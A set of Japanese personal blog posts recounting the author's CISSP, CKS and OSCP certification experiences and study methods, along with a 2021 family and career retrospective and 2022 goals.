開場したら、注意事項や、本人確認、電子端末の電源オフなどをしました。その後、ロッカーに荷物を入れるのですが、1つのロッカー内で、飲食物と荷物を分けて入れる必要があるので、コンビニのビニール袋などであらかじめセグメント切っておくと良いです。あと、ロッカーがそんな大きくないので、当日の手荷物は少ないほうが良い気がしました。まぁ、受付とかに預けられるかもしれませんが。

そして、8:00からと思いきや、早く受けられるとのことだったので、7:45には試験開場に入り、着席して試験を開始しました。

例の如くNDAを結んでいるため内容については、触れることはできませんので割愛します。本来は、休憩を取る予定でしたが、そこまでキツく感じなかったので、ぶっ通しで解きました。約3時間でしょうか。最後の問題まで来て祈りながら終えました。

フロントに行ってレポートをもらう訳ですが、印刷されて出てきた瞬間に、不合格時に出る各ドメインの評価表みたいなものが無いことが透けて見えたので、受け取る前に合格を確信しました。

試験勉強の内容を振り返る

合格したので、自分がやっていた勉強内容についての評価をしようと思います。合格に大きく寄与したと考えられるのは下記の3つの勉強かなと思いました。公式ガイドブックを読むのは、自分のようなバックグラウンドを持つようなタイプにとっては、試験に合格するという観点だけであれば不要かなと思います。もちろん、勉強にはなると思います。

  • 英語問題集での勉強
  • 公式出題概要をベースに、メモに知識を整理していく行為
  • YouTubeの動画

まず、英語問題集での勉強は、非常にやっておいて良かったなと思いました。日本語問題集と異なり、最新の問題集で備えられたこと、また英語でデフォルト勉強していたことから、当日(質は悪いが)翻訳があるという状況になり、非常に楽な気持ちになった。英単語で覚えるほうがしっくり来る表現とかもありました。そのため、英語によほど自信が無いとかでなければ、英語問題集の利用をおすすめします。

次に、メモに知識を整理していくという行為です。公式ガイドブックなどをがっつり読み込んでる人やトレーニング受けた人は不要かもしれませんが、自分のような独学者には必須かと思います。問題集で断片的に得られる知識を再整理して、CISSP-Exam-Outlineを参考に各ドメインの出題範囲のサブドメインレベルで整理していきました。これにより、まったくリーチできていない範囲が明確になり、知識の抜け漏れを詰めて行く時に役立ちました。なお、これを丁寧にやったからか、CBKはもっと綺麗に整理できるだろうなぁ〜みたいな感情すら持てるようになりました。

最後に、勉強内容で紹介した、YouTubeの動画の資料や視聴は、非常に良かったです。これらの動画が、かなり上手くCBKを再整理しており、無駄な重複が少なく、勉強効率が良いと思いました。特に、試験で問われるようなパートに重点を置いたシリーズの動画があり、最低限それだけでも見て再確認や知識整理に使うと良いです。アメリカの法律系、暗号、定量的リスク評価の計算などが個別の動画で解説されています。 youtu.be

おわりに

とりあえず無事合格して一安心しました。試験勉強自体、朝2-6時とかの間の起きれた時間にやる異常起床タイミングがメインでしたし、途中北海道旅行に行って記憶抜け落ちたり、不合格だったら協力してくれた妻に合わす顔がなかったので、ひと段落して良かったです。認定のための手続きなどの準備をしないと。。。 家族のサポートなしでは、合格できなかったと思うので、妻と娘には大変感謝です。

下記に参考にさせていただいた受験体験記やリンク集を掲載しています。これから受験を考えている方は、ぜひご参考にしてみてください。応援しています。

Certified Kubernetes Security Specialist(CKS) 合格体験記

概要

  • 約1.5ヶ月程度の勉強期間を経てCKS(v1.22)にスコア89%で合格
  • LFS260(Killer.sh含む)とKodeKloudで学習

f:id:encry1024:20220110091649p:plain
Credly

教材

Kubernetes Security Essentials(lfs260)

training.linuxfoundation.org

Cyber Monday Sale 2021で安くなっていたため、CKSと対応トレーニングである本トレーニングが一緒になったパックを約23,000円で購入して利用しました。本トレーニングは、環境自体自分で用意しなくてはいけないため少し大変です。試験に直結する話題以外にも、CloudNative初心者にとっては勉強になる内容もあり個人的にはまだまだ復習したいぐらいです。また最近では、Killer.shと呼ばれる、本番に似た内容の模擬試験が2回受けることができるものも付与されてきますので、こちらも活用しました。最初どこから利用できるのか、いまいちわからなかったのですが、試験スケジュールを申し込むところに、小さくリンクが貼られていました。

KodeKloud

kodekloud.com

CKAの受験の際にお世話になった人が多いであろう、KodeKloudのトレーニングコースを以前格安で購入していたので利用しました。Udemyでは、本コースは提供されていないため、直接KodeKloudから買うしかありません。Kubernetesクラスタのバージョンが、v1.20と古いためカバーしきれていない分野があります。2022年1月現在の本トレーニングだけだと合格は厳しいように思います。

Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド (Compass Booksシリーズ)

amzn.to 比較的新しい、この分野のセキュリティ本。非常に質が高くて、まだまだ何回も読みたくなるスルメのような本です。試験は終わりましたが、引き続き読み返したりすると思います。CKSより高度な内容も含まれていますが、第5章Kubernetesクラスタのセキュリティだけでも読んでおくと、LFS260やKodeKloudなど英語教材が苦手な人にとっては、いい準備になるかもしれません。

Kubernetes完全ガイド(第2版)

amzn.to 言わずとしれたKubernetesの名著。CKA/CKADだけにとどまらず、CKSにも通じるような話が混ざっています。ただ、僕自身はCKAの復習という側面で読んだりした部分が多かったように思います。辞書的に持っておくには非常に良い本だと思います。そろそろ第3版来るかな?

勉強方法

主な勉強方法としては、下記の通りです。CKA合格後、約半年のブランクがあるため、最初の方はkubectlコマンドの使い方や感覚を呼び戻すのに時間を費やして大変でした。

  1. 試験勉強用にKubernetesクラスタを作成する
  2. KodeKloudをやる
  3. 並行してLFS260を読む(あまり演習はしっかりやらなかった、気になったところだけ)
  4. CKAの復習
  5. Killer.sh(1回目)を受けて、できなかった問題や出題傾向を把握
  6. LFS260/KodeKloudの復習
  7. 受験(1回目)

受験戦略

ここでは、オススメの受験戦略を共有します。Killer.shでも言われているような話もありますが、一応記載しておきます。

Namespace指定忘れ対策

k -n dev get podのようにして、必ずNamespaceの指定をコマンド冒頭で行うように訓練する。

aliasの設定

下記を$HOME/.bashrcに記載して反映させる。前者は、Manifestファイルを作成するときに使うやつで、後者はPod削除の時間を短縮するためのもの。

export do="--dry-run=client -oyaml"
export fg="--force --grace-period 0"

下記を$HOME/.vimrcに記載する。EmacserなのでVimのことはよくわからないが、おそらくYAMLなどをコピペしたり書いたりするときに有効なんだと思う。これを記憶しておくことが本試験の対策で一番むずかしいと思われる。

set smartindent expandtab ts=2 sw=2

当日の様子

10分遅延で開始

1月9日のAM 9:00開始で試験を申し込みました。15分前には、監視セッションへのログインができるので、入って待機していました。少ししたら、監視官が入ってきて、いろいろ説明をされました。CKAを受けていたので「こんな感じだったなぁ」と思いながら、外部ディスプレイ使う話やパスポートを見せたり、部屋の中をラップトップ持って徘徊して見せたりしました。
試験開始予定時刻から10分ほど遅れて試験が開始されました。試験内容に関して詳細を触れることができません。しかしながら一言何か言うとすれば、「Killer.shより難しくね?w」という感情を抱きました。そのため、あれだけに頼ってしまうのは、個人的には微妙かなぁと思いました。もちろん基礎力があれば応用できるかもしれませんが。。。

ラップトップのバッテリーが切れる?!

そして、試験中盤に入ろうとしている中、トラブルが発生しました。USB Type-Cのハブのせいか、ラップトップ側のコネクタがうまく刺さっていなかったのか、真偽の程はわかりませんが、充電しながら利用していたにも関わらず、気づいたら動作が重くなり、ラップトップのバッテリーが6%まで下がっていました。そこで急遽、チャットでバッテリーがやばくて、ディスプレイが起因な気がするから外すという旨を伝えて外しました。しかしながら、そのタイミングでなぜかChromeをクラッシュしてしまい、再度立ち上げても監視セッションに入れません。何度リロードしても、Webカメラは問題なくて、画面共有だけうまくいきません。チャットでも焦りのメッセージを飛ばしたりしましたが、結局もう一度Chromeを起動し直したらうまく動作しました。おそらく時間にしては15分~20分程度のものだと思いますが、解くテンポが一気に乱されて大変でした。

試験終盤に一気に解答

そんなトラブルを経て、時間は残り15分ぐらいになった頃です。なぜかうまくいかなかった大きめの配点の問題がぽんぽんと解けて(もしかしたら正当ではなくて部分点とかかもしれませんが)、おそらく合格できるだろうという配点になりました。また、トラブルもあったせいか試験時間が延長され、最終的に11:10終了予定が、11:29になっていました。UI上はexpiredと出ているのですが、試験官曰く続けて良さそうな雰囲気だったので、ギリギリまで粘って、最後の1分で解けた問題などもありました。しかしながら、しっかりとした動作確認を全部はできていなかったので、解けた問題が本当に正しいか否かは確認できず試験が終了しました。

試験結果通知

11:30ぐらいに試験が終わり、翌日1月10日のAM 9:06分に合格した旨のメールが来ていました。

f:id:encry1024:20220110131958p:plain
合格メール

点数を見てみると89%となっており、CKA合格時の88%とほぼ同等ぐらいで合格していました。おそらくやった内容がほとんどあっていたんだなぁという感じです。

おわりに

本資格取得を通じて、かなりKubernetesのセキュリティに関しての勘所を育てることができたと思います。学習範囲も非常に良くできており、満足度の高い資格取得勉強でした。間接的に様々なことを学ぶことができたと思います。Kubernetesセキュリティに興味があるのであれば、ぜひ受けることをおすすめします。
本試験を突破する一番大きなコツは、「正しく機能を理解すること」だと思われます。とりあえずコマンドを叩けるだけだと合格できない可能性があります。しっかり、理屈や機能に対する根本理解を深めながら勉強すると良いと思います。

謝辞

最後に、今回も静かな受験環境を作るために、娘を連れておでかけしてくれた妻といい子にしていてくれた娘に感謝します。また、書籍「Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド (Compass Booksシリーズ) 」は、Twitter上でとある方にプレゼントしていただいたものなので、それもガッツリ活用できたので、この場で感謝の言葉を伝えようと思います。ありがとうございました。

参考文献

github.com qiita.com tetsuya-isogai.medium.com zenn.dev blog.vpantry.net www.hidekazuna.org bswen.com zenn.dev container-security.dev

2021年を振り返る

2021年の終わりも見えてきた。気が向くうちに、今年の振り返りを書いておく。と言っても、みんなのように毎月振り返る気力が無いので適当に箇条書きしてみる。技術的なこと、家庭的なこと色々混ざっているし、時系列でもないので注意。

2021年の振り返り

プライベート

  • 娘1歳
  • 保育園探し、登園生活
  • 土日のワンオペ
  • 結婚3年目
  • 積立NISA開始
  • 転職検討
  • 家族旅行(USJ スーパーニンテンドーワールドの旅)
  • 娘のオーディション2次審査合格
  • 脱毛開始
  • Cyber Punk 2077 (トロフィー99%)

自己投資

  • TOEIC自己ベスト更新
  • Black Hat Training USA 2021でActive Directory Pentestの受講
  • Certified Kubernetes Administrator(通称CKA)の合格
  • Offensive Security Certified Professional(通称OSCP)の合格

まとめ

保育園生活が始まり、とても忙しい毎日を送っているが、妻の支えもありなんとか自己研鑽はできた1年のように思える。他者から見るともっとがんばれるのでは?と思うかもしれないが、プライベートとのバランスを考えると、これでも結構頑張ったほうだと思う。数社、転職のお誘いを受けて面談をさせていただいた、その中でより転職を意識し始めた1年だった。反省点としては、あまりプログラム組んだり、コーディングしたりする機会や時間が無く、雑な一枚岩スクリプトみたいなのしか書かない1年だったなぁと。業務でもあまり書く機会はないので、ちょっと危機感を感じてる。

2022年の抱負

プライベート

  • 生活予備貯金や老後貯金、娘の学費貯金を引き続き頑張る
  • 初の北海道旅行
  • 娘の最終オーディション
  • 転職
  • 仲良くしてくれる人、娘含めて遊んでくれる人(パパ友、ママ友)を増やして出かける

自己投資

  • TOEIC自己ベスト更新
  • Certified Kubernetes Security Specialist(通称CKS)の合格
  • 各CSP(Cloud Service Provider)を実際に使ってみて構築系の勉強
  • CloudやCloudNativeなどのセキュリティの学習
  • 何かもう1つぐらい資格を受ける
  • プログラム組んだり、コーディングをする

まとめ

横浜市の待機児童問題があるため、徒歩圏内の保育園の転園に失敗する可能性が高いので、おそらく大変な電車登園生活は今年も続くだろう。また、土日のワンオペの引き続き継続だろう。それらを踏まえた上で、自分自身や家族に負担をかけない範囲で自己研鑽を頑張っていきたい。また、娘がより活発に成長していくだろうから、しっかりと見守っていきたい。あとは、もうちょい世帯所得を上げて、妻が悩んでる仕事をやめさせてあげたいし、貯金なども頑張っていきたい。しかしながら、あんま転職したくないので、あと何十年と働けそうなところに転職したいという願望が強い来。来年も頑張っていこう。

Offensive Security Certified Professional (OSCP) 合格体験記

概要

  • Offensive Security Certified Professional (OSCP) に合格した
  • 合計勉強時間は、4ヶ月ほどでおよそ200時間ちょっと
  • 勉強法
    • Lab のMachine を全部解く
    • よく使うけど毎回ググってるようなコマンド系をcheatsheet にまとめる
    • HackTheBox のOSCP-like なマシンを解く/writeup を読んでcheatsheet に加える
    • 他の人の合格体験記などを読む
    • 解けなかったときの振り返り
      • なぜ解けなかったのか、どうすれば解けたのかを考察する
  • Lab のレポートは書いていない

はじめに

今回、Offensive Security Certified Professional (OSCP) というペネトレーションテストの入門資格の試験に合格しました。例のごとく試験内容などは、触れられないため当たり障りの無い感じで、これから受ける人のためになるようなことを書いていきます。

この手の話は筆者のスペックを語っておいた方が勉強時間や勉強方法などの参考になると思うので少し触れておきます。私自身は、学生の頃(もう4,5年前とか)にCTF でBinary Exploitation やReverse Engineering を専門にやっていました。また、会社入ってからは、インフラエンジニアのような職務内容であるL2/L3設計やネットワーク機器の設定、サーバのメンテナンスなどの運用作業、新規構築プロジェクトなどに携わっていました。また、同時にセキュリティエンジニアのような職務も行っており、主にマルウェア解析を担当しています。そのため、ある程度ペネトレーションテストで問われるようなOffensive Security な知識は持ち合わせていましたが、体系だって勉強したことはありませんでした。特に、Web Security 周りは結構弱いです。また、トレーニング内容や試験内容自体も全部英語なのですが、私自身は英語の読み書きはまぁ普通ぐらいできて、会話も海外旅行程度ならできるといった温度感です。プライベートでは、1歳の子供がいるため、毎日家事育児に追われるお父さんをやっています。以上がざっとした現状のスペックです。

OSCP とは

この話は、公式サイトを見ていただいたほうがわかりやすいと想うので簡単に箇条書きでまとめます。

  • Penetration Testing with Kali Linux (PWK) というペネトレーションテストの入門コースに対応した資格試験
    • PWK では、Lab への期限付きアクセス権(私は、90日コースで申し込みました)やPDF/動画教材などが配布されて、基本的に自学自習していくスタイルです
    • 受講者専用のForum などがあり、そこでわからないことは質問したりできますが、直接的な解答はNG とされているため、自力でLab のマシンを解いていく必要があります
  • 23時間45分以内に数台のマシンを攻略して、その攻略手順や調査手法などを英語のレポートにまとめて、翌24時間以内に提出します
  • マシンを攻略した証であるProof ファイルの提出やそのスクリーンショット、レポートの出来などから総合的に判断されて、ある一定のポイントを超えたら合格となります
  • 最初の23時間45分は、カメラで自分自身や操作しているPC の画面を監視されます
    • なお試験用のチャットで連絡することで、自由なタイミングで寝食や休憩などができます

勉強方法

昨年

実は、もともと昨年OSCP を受験しようと思っていたのですが、いろいろタイミングが悪くなり今回受けた運びになります。そのため、昨年にHack The Box のOSCP-like なマシンを一部解いたりしており、いわゆるマシン攻略がどんな感じなのかといったことはある程度把握していました。

コース申し込み前1ヶ月(2021年5月)

PWK では、コースの教材のシラバスが公開されているため、事前に目次を読んで自分が知らなそうなことを列挙したり、軽く調べておいたりしました。具体的には、知らないツール名のツールをググって使ってみたり、知らない概念など、忘れかけている知識らへんを復習しました。これをやっておいたおかげで、コースの教材はかなり読みやすかったです。また、同時に試験の公式ルールだったり、試験内容やレポート内容など総合的なこの資格試験に関する情報も収集してまとめていました。他の方の合格体験記や、海外の方の合格体験記など合計10つぐらいは見て内容を抽出したような気がします。

1ヶ月目(2021年6月)

まずは、コースの教材として渡されるPDF を2週間で終えることを目標にはじめました。前述したとおり、見るべき箇所など調べておいたので、わかるところはさらさらと斜め読みして、苦手なところや知らないところはしっかり読むということをしました。この間は、特にLab のマシンは実施しませんでした。
コースの教材を終えたら、その後2週間でLab のマシン攻略に着手しました。もともとHack The Box をやっていたというのもあり、ポートスキャンから初めて、各ポートで動作しているソフトウァやそのバージョンの特定、PoC の検索といった流れは知っていたため、それ通りにやっていきました。最初のうちはなかなか攻略できず、1日1台を目標にしていましたが、できない日も多かったです。家事育児に追われてたというのもあります。また、事前に知っていた、ポートスキャンや各種チェックを行ってくれるAutoRecon というツールを使うことで寝てる間に検査して朝起きてそれをチェックしながらやっていくというスタイルをとっていました。大体1ヶ月で、33台のマシンを攻略していました。

2ヶ月目(2021年7月)

先月に続いてひたすらマシン攻略をやっていました。この頃には、だんだんと慣れてきてサクサク解けるようになってきましたが、Lab のマシンは依存関係があるものが多く、詰まった時はすぐForum を見てヒントを探していました。前述したように直接的な解答はないことが多いので、なんとか推測して読み解いたりしていました。また、この月の中盤には、この当時の全台である75台を攻略しました。その後の半月は、各マシンの復習をしつつcheatsheetを作成することをしていました。また、あえて明言は避けておきますが、慣例的に出るという言われている内容のマシンが存在するため、それに特化した練習をしたりもしていました。そして、残った月でレポート執筆の練習をしていました。

3ヶ月目(2021年8月)

私の申し込みタイミング的に、この月の26日でLab へのアクセス権は終了でした。そのため、マシンの復習をしつつレポート執筆の練習を継続していましたが、仕事や家庭が忙しくなり、あまり勉強できていない月でもあります。また、この月には、Udemy で下記の2つのコースを購入して受講したりしました。これらの教材は、前述したAutoRecon の作者によるもので、どちらもOSCP に向けた権限昇格手法について体系的にまとまった教材なためおすすめです。しかしながら、これだけで受からないだろうという感じです。

この月の下旬には、試験の申し込みをして日時を確定させました。私は、2021年9月26日(日) 8:00 (JST) 開始にしました。この試験時間に関しては、様々な考え方ありますが、私の場合は子供が毎朝5:30に起きるため、昼までどうせゆっくりはできないだろうと思いこの時間帯にしました。結果として頭がよく動く午前中の時間が多かったので良かったと思っています。
そして、Lab へのアクセス権が終了しました。

4ヶ月目(2021年9月)

Lab へのアクセス権がすでに終了しているこの月は、Hack The Box のOSCP-like なマシン攻略に挑戦していました。ググればすぐ出てくるGoogle Spread シートのOSCP より難しいというやつ以外は全部確認しました。また、レポート作成の練習をダラダラと継続していました。後の反省点にも繋がりますが、もっとしっかり気持ち入れてレポート作成練習はやるべきだったなぁと思います。ただ、この月も相変わらずプライベートが忙しく(妻が土日休みではないため、土日基本ワンオペをしているため)後半は、解く時間もないためWriteup だけを読んでcheatsheet にまとめるということをしていました。そうこうしているうちに、試験1週間前になってしまいました。この週では主に以下のことをやりました。

  • 試験の注意事項ページや試験時間の監視に関する注意事項ページを読み直す
  • 試験中の飲食物の用意
  • 当日のイメトレ

前日や当日の様子

この商では前日や当日の様子について記載していきたいと思います。

試験前日

主に不測の事態が起きたことを考えて下記のようなことを行っていました。 - VM のスナップショット作成と別ラップトップでの展開(試験用マシンが壊れたときのようの対策) - モバイルルータの充電(自宅のインターネット回線が死んだ時ようの対策) - 試験フォルダの定期バックアップとGit 管理の自動スクリプトの作成とcron 設定(万が一rm 全消ししたときにすぐに復旧できるようの対策)

試験直前

朝は6時ぐらいに起床し、朝ごはんを食べて7時ぐらいには座席についていました。その後、7:45になったら監視ツールの確認などが始まりました。パスポート見せたり部屋の中を徘徊したりしました。予定時刻の8時になったら試験環境へアクセスするためのVPN のコンフィグなどが送られてきたのでつなげたり、試験のインストラクションを読んで各マシンの配点や何をすればいいかなどを確認しました。このインストラクションかなり重要なのでちゃんと読んだほうがいいです。ちなみに、VPN の設定をsystemd サービス化して、パスワードファイル作成してそれを読み込むようにしたら、受講者番号やパスワード入力している画面が見れないからダメと言われました。

試験中

かなり本質的な部分なのであまりかけることは少ない気がしますが、だいたい3時間ぐらいで初めて1台の攻略に成功しました。その後5時間ぐらい何も解けず、「あ、やべぇ」と焦っていましたが、糸口を見つけた問題を皮切りにして1時間単位ぐらいで解けていき、12時間ほど経過した時点ではすでに合格点数を超える想定の水準まで達していました。残すところ1台のマシンだけだったのですが、どうしてもわからないためある程度のところで見切りをつけて、レポート作成のための証拠保全スクリーンショットの再確認や、もはやレポートを書き始めることもしていました。もともと4時間ほど睡眠を取る予定でしたが、結局時間が足らず2時間の睡眠で乗り切りました。起きてからもひたすらレポート作成をしたりしていましたが、いかんせん取り忘れたスクショやスクショのときに変なタブ開いてて前後で遷移にずれがあるなどで何回も最初からやり直したりとかしていて無限に時間を溶かしました。論理的な飛躍が生じないように、理屈の通った攻略手順を残せるように冷静になって証拠を保存していくのが良いと思います。結局試験ギリギリまで最後のマシンは何も手がかりがわからずタイムオーバーしました。

レポート作成/提出

試験が終わって朝ごはんを食べて、すぐ続きを着手していましたが、やはり途中で力尽きて仮眠を入れました。仮眠してスッキリしてから着手したほうが効率が良かったです。結局朝から日付が変わるころまで執筆して、1時間ぐらいかけて提出方法の再確認やファイル名に間違いがないかなどを確認した後に提出しました。朝起きてから見直して提出するか寝る前に提出するか非常に悩んだのですが、もう仮にレポートで落ちても、自分の中ではマシン攻略で合格水準に達していたため、もういいやという気持ちが後押しして寝る前にレポートを提出しました。ちなみに、Lab のレポートは書いていなかったため提出しませんでしたし、何も解けなかった1台のマシンに関してはレポートに記述すらしていませんでした。
レポート提出の際には、PDFや7zファイル名、容量、解凍したときに余分なファイルや階層が入っていないか、7z に誤ってパスワード付けていないかなど、予め列挙しておいたチェックリストを満たすように検査してから提出しました。

これから受ける人へ

レポートの練習をしっかりしてしておこう

少ない時間をうまく有効活用して結構勉強していたつもりなのですが、1つ大きな個人的な反省点を上げるとすれば、レポート作成の練習だったと思います。これが事前にしっかりできており、当日撮るスクリーンショットなども想定しておけば、試験時間やレポート作成事態もここまで大変ではなかったように思います。例えば、一部準備していたものもありますが、主に下記のような点を想定しておくと良いと思います。

  • 主語はI なのかWe なのかwe
  • 基本的に、現在形で書くのか、過去形で書くのか
  • マシンの攻略手順で論理的な飛躍が生じないように、ちゃんと順を追った記録を撮るように練習しておく
  • 攻略の手順は、テキストベースで残すのか、スクリーンショットベースで残すのか
  • マシン攻略の際に必要となるスクリーンショットの想定
  • どのレベルの手順を記載するのか
    • 例) Burp を使ってPOST パラメータを書き換える場合は、Burp の起動やプロジェクトの新規作成のようなところからスクリーンショットを撮るのか否か

試験後バイアスな気はしますが、この試験内容が極端に難しすぎるということはないです。ただし、レポートに関しては準備不足だとかなり大変なので、しっかりやることをおすすめします。

OSCP Exam Guide を頭に叩き込む

OSCP Exam Guide と呼ばれる受験やレポート作成/提出の諸注意が記載された本ページは、受験者にとっては必須のページです。認識のズレがないように不安ならば問い合わせて確認したりしてもよいレベルです。私自身何度も読み直しました。

試験中はこまめな休憩を取ること

私自身は、予め試験中のスケジュールを立てていました。そのスケジュールでも、こまめな休憩を取るように心がけていました。具体的には1時間に1回5分の休憩ははさみ、昼食や夕食は30分時間を取っていました。なかなか試験中に休憩をするというのが、難しくて試験のことを考えてしまいますが、なるべく頭を空っぽにしてただ休むことに全力を注ぎました。

おわりに

OSCP は今まで自分が受けてきた資格試験の中で、最も準備が大変な資格試験でした。特に、小さい子供がいる我が家では勉強時間の確保や当日の試験場所の整備は大変でした。勉強を始めた5月末から合格通知が出るまでの間、かなり妻には協力していただきました。特に試験の日は、集中できるようにと娘と二人で昼過ぎぐらいまでおでかけしてくれたり、お風呂やご飯なども全部一人でやっていただきました。改めて、妻に、そしていい子にしててくれた娘に感謝したいと思います。
本記事が、これからOSCP を受けようと思っている方の参考になれば幸いです。ぜひ、がんばってください。